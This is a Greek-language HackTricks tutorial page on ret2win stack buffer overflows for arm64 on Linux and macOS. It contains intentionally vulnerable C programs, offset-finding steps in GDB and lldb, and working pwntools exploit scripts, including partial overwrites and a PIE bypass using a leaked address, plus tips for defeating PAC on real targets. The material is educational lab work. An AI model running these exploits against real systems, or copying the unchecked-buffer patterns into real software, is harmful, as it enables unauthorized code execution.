Ret2win - arm64
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βρείτε μια εισαγωγή στο arm64 στο:
Code
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Μεταγλώττιση χωρίς pie και canary:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- The extra flag
-mbranch-protection=nonedisables AArch64 Branch Protection (PAC/BTI). If your toolchain defaults to enabling PAC or BTI, this keeps the lab reproducible. To check whether a compiled binary uses PAC/BTI you can: - Look for AArch64 GNU properties:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'- Inspect prologues/epilogues for
paciasp/autiasp(PAC) or forbti clanding pads (BTI): objdump -d ret2win | head -n 40
Σύντομα στοιχεία για την calling convention του AArch64
- Το link register είναι
x30(γνωστό και ωςlr), και οι συναρτήσεις συνήθως σώζουνx29/x30μεstp x29, x30, [sp, #-16]!και τα επαναφέρουν μεldp x29, x30, [sp], #16; ret. - Αυτό σημαίνει ότι η αποθηκευμένη διεύθυνση επιστροφής βρίσκεται στο
sp+8σε σχέση με τη βάση του frame. Με έναchar buffer[64]τοποθετημένο πιο κάτω, η συνηθισμένη απόσταση υπεργραφής προς το αποθηκευμένοx30είναι 64 (buffer) + 8 (αποθηκευμένο x29) = 72 bytes — ακριβώς ό,τι θα βρούμε παρακάτω. - Ο stack pointer πρέπει να παραμείνει ευθυγραμμισμένος σε 16‑byte στα όρια των συναρτήσεων. Αν φτιάξεις ROP chains αργότερα για πιο σύνθετα σενάρια, διατήρησε την ευθυγράμμιση του SP αλλιώς μπορεί να καταρρεύσει το πρόγραμμα στα epilogues των συναρτήσεων.
Εύρεση του offset
Επιλογή pattern
Το παράδειγμα αυτό δημιουργήθηκε χρησιμοποιώντας GEF:
Ξεκίνα το gdb με gef, δημιούργησε pattern και χρησιμοποίησέ το:
gdb -q ./ret2win
pattern create 200
run
.png)
Το arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που βρίσκεται στον καταχωρητή x30 (ο οποίος έχει παραβιαστεί). Μπορούμε να το χρησιμοποιήσουμε για να βρούμε το pattern offset:
pattern search $x30
.png)
Το offset είναι 72 (9x48).
Stack offset επιλογή
Ξεκινήστε βρίσκοντας τη διεύθυνση στο stack όπου αποθηκεύεται ο pc register:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Τώρα ορίστε ένα breakpoint μετά το read() και συνεχίστε μέχρι να εκτελεστεί το read() και ορίστε ένα pattern όπως 13371337:
b *vulnerable_function+28
c
.png)
Βρείτε πού αποθηκεύεται αυτό το μοτίβο στη μνήμη:
.png)
Στη συνέχεια: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
Κανονικό
Λάβετε τη διεύθυνση της συνάρτησης win:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
Στην πραγματικότητα αυτό θα είναι περισσότερο σαν ένα off-by-2 στο αποθηκευμένο PC στο stack. Αντί να επανεγράψουμε ολόκληρο το return address, θα επανεγράψουμε μόνο τα τελευταία 2 bytes με 0x06c4.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Μπορείτε να βρείτε άλλο ένα παράδειγμα off-by-one σε ARM64 στο https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, το οποίο είναι ένα πραγματικό off-by-one σε μια φανταστική ευπάθεια.
Με PIE
Tip
Μεταγλωττίστε το binary χωρίς το επιχείρημα
-no-pie
Off-by-2
Χωρίς leak δεν γνωρίζουμε την ακριβή διεύθυνση της win function, αλλά μπορούμε να γνωρίζουμε το offset της συνάρτησης μέσα στο binary και, δεδομένου ότι το return address που αντικαθιστούμε ήδη δείχνει σε μια κοντινή διεύθυνση, είναι δυνατό να leak το offset προς τη win function (0x7d4) σε αυτήν την περίπτωση και απλώς να χρησιμοποιήσουμε αυτό το offset:
.png)
Configuration
binary_name = ‘./ret2win’ p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
## macOS
### Κώδικας
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}
void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}
int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}
Κάντε compile χωρίς canary (στο macOS δεν μπορείτε να απενεργοποιήσετε το PIE):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
Εκτελέστε χωρίς ASLR (αν και επειδή έχουμε address leak, δεν το χρειαζόμαστε):
env DYLD_DISABLE_ASLR=1 ./bof_macos
Tip
Δεν είναι δυνατό να απενεργοποιήσεις το NX σε macOS, επειδή σε arm64 η λειτουργία αυτή υλοποιείται σε επίπεδο υλικού· γι’ αυτό δεν θα βρεις παραδείγματα με shellcode στο stack σε macOS.
Βρείτε το offset
- Δημιουργήστε ένα pattern:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
- Εκτέλεσε το πρόγραμμα και εισήγαγε το pattern για να προκαλέσεις την κατάρρευση:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
- Ελέγξτε τον καταχωρητή
x30(the return address) για να βρείτε το offset:
(lldb) register read x30
- Χρησιμοποιήστε
cyclic -l <value>για να βρείτε την ακριβή μετατόπιση:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- Έτσι βρήκα το offset
72. Αν τοποθετήσεις σε αυτό το offset τη διεύθυνση της συνάρτησηςwin(), μπορείς να εκτελέσεις αυτή τη συνάρτηση και να πάρεις ένα shell (τρέχοντας χωρίς ASLR).
Exploit
#!/usr/bin/env python3
from pwn import *
import re
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)
win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
macOS - 2ο παράδειγμα
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}
__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}
__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}
int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);
// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
// Sleep 3s
sleep(3);
vuln();
return 0;
}
Μεταγλωττίστε χωρίς canary (στο macOS δεν μπορείτε να απενεργοποιήσετε το PIE):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
Βρείτε το offset
- Δημιουργήστε ένα pattern στο αρχείο
/tmp/exploit.txt:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
- Εκτελέστε το πρόγραμμα για να προκαλέσετε crash:
lldb ./bof_macos
(lldb) run
- Ελέγξτε τον καταχωρητή
x30(τη διεύθυνση επιστροφής) για να βρείτε το offset:
(lldb) register read x30
- Χρησιμοποιήστε
cyclic -l <value>για να βρείτε το ακριβές offset:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- Έτσι βρήκα το offset
72. Τοποθετώντας σε αυτό το offset τη διεύθυνση τηςwin()συνάρτησης μπορείς να εκτελέσεις αυτή τη συνάρτηση και να πάρεις ένα shell (τρέχοντας χωρίς ASLR).
Υπολογίστε τη διεύθυνση του win()
- Το binary είναι PIE. Χρησιμοποιώντας το leak της
leak_anchor()συνάρτησης και γνωρίζοντας το offset τηςwin()συνάρτησης σε σχέση με τηνleak_anchor()συνάρτηση, μπορούμε να υπολογίσουμε τη διεύθυνση τηςwin()συνάρτησης.
objdump -d bof_macos | grep -E 'leak_anchor|win'
0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
- Το offset είναι
0x47c - 0x460 = 0x1c
Exploit
#!/usr/bin/env python3
from pwn import *
import re
import os
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)
print("[*] Payload written to /tmp/exploit.txt")
# Drop to an interactive session
p.interactive()
Σημειώσεις για τον σύγχρονο AArch64 hardening (PAC/BTI) και ret2win
- Αν το binary είναι compiled με AArch64 Branch Protection, μπορεί να δείτε
paciasp/autiaspήbti cemitted στους function prologues/epilogues. Σε αυτή την περίπτωση: - Η επιστροφή σε μια διεύθυνση που δεν είναι έγκυρο BTI landing pad μπορεί να προκαλέσει
SIGILL. Προτιμήστε να στοχεύετε το ακριβές function entry που περιέχειbti c. - Αν το PAC είναι enabled για returns, naive return‑address overwrites μπορεί να αποτύχουν επειδή το epilogue authenticates το
x30. Για learning scenarios, rebuild με-mbranch-protection=none(shown above). Όταν επιτίθεστε σε πραγματικούς στόχους, προτιμήστε non‑return hijacks (π.χ. function pointer overwrites) ή φτιάξτε ROP που ποτέ δεν εκτελεί ένα ζεύγοςautiasp/retπου authenticates το forged LR σας. - Για γρήγορο έλεγχο των features:
readelf --notes -W ./ret2winκαι κοιτάξτε για σημειώσειςAARCH64_FEATURE_1_BTI/AARCH64_FEATURE_1_PAC.objdump -d ./ret2win | head -n 40και κοιτάξτε γιαbti c,paciasp,autiasp.
Εκτέλεση σε non‑ARM64 hosts (qemu‑user quick tip)
Εάν βρίσκεστε σε x86_64 αλλά θέλετε να εξασκηθείτε σε AArch64:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
Σχετικές σελίδες HackTricks
Αναφορές
- Ενεργοποίηση PAC και BTI στο AArch64 για Linux (Arm Community, Νοε 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Πρότυπο Procedure Call Standard για την αρχιτεκτονική Arm 64-bit (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


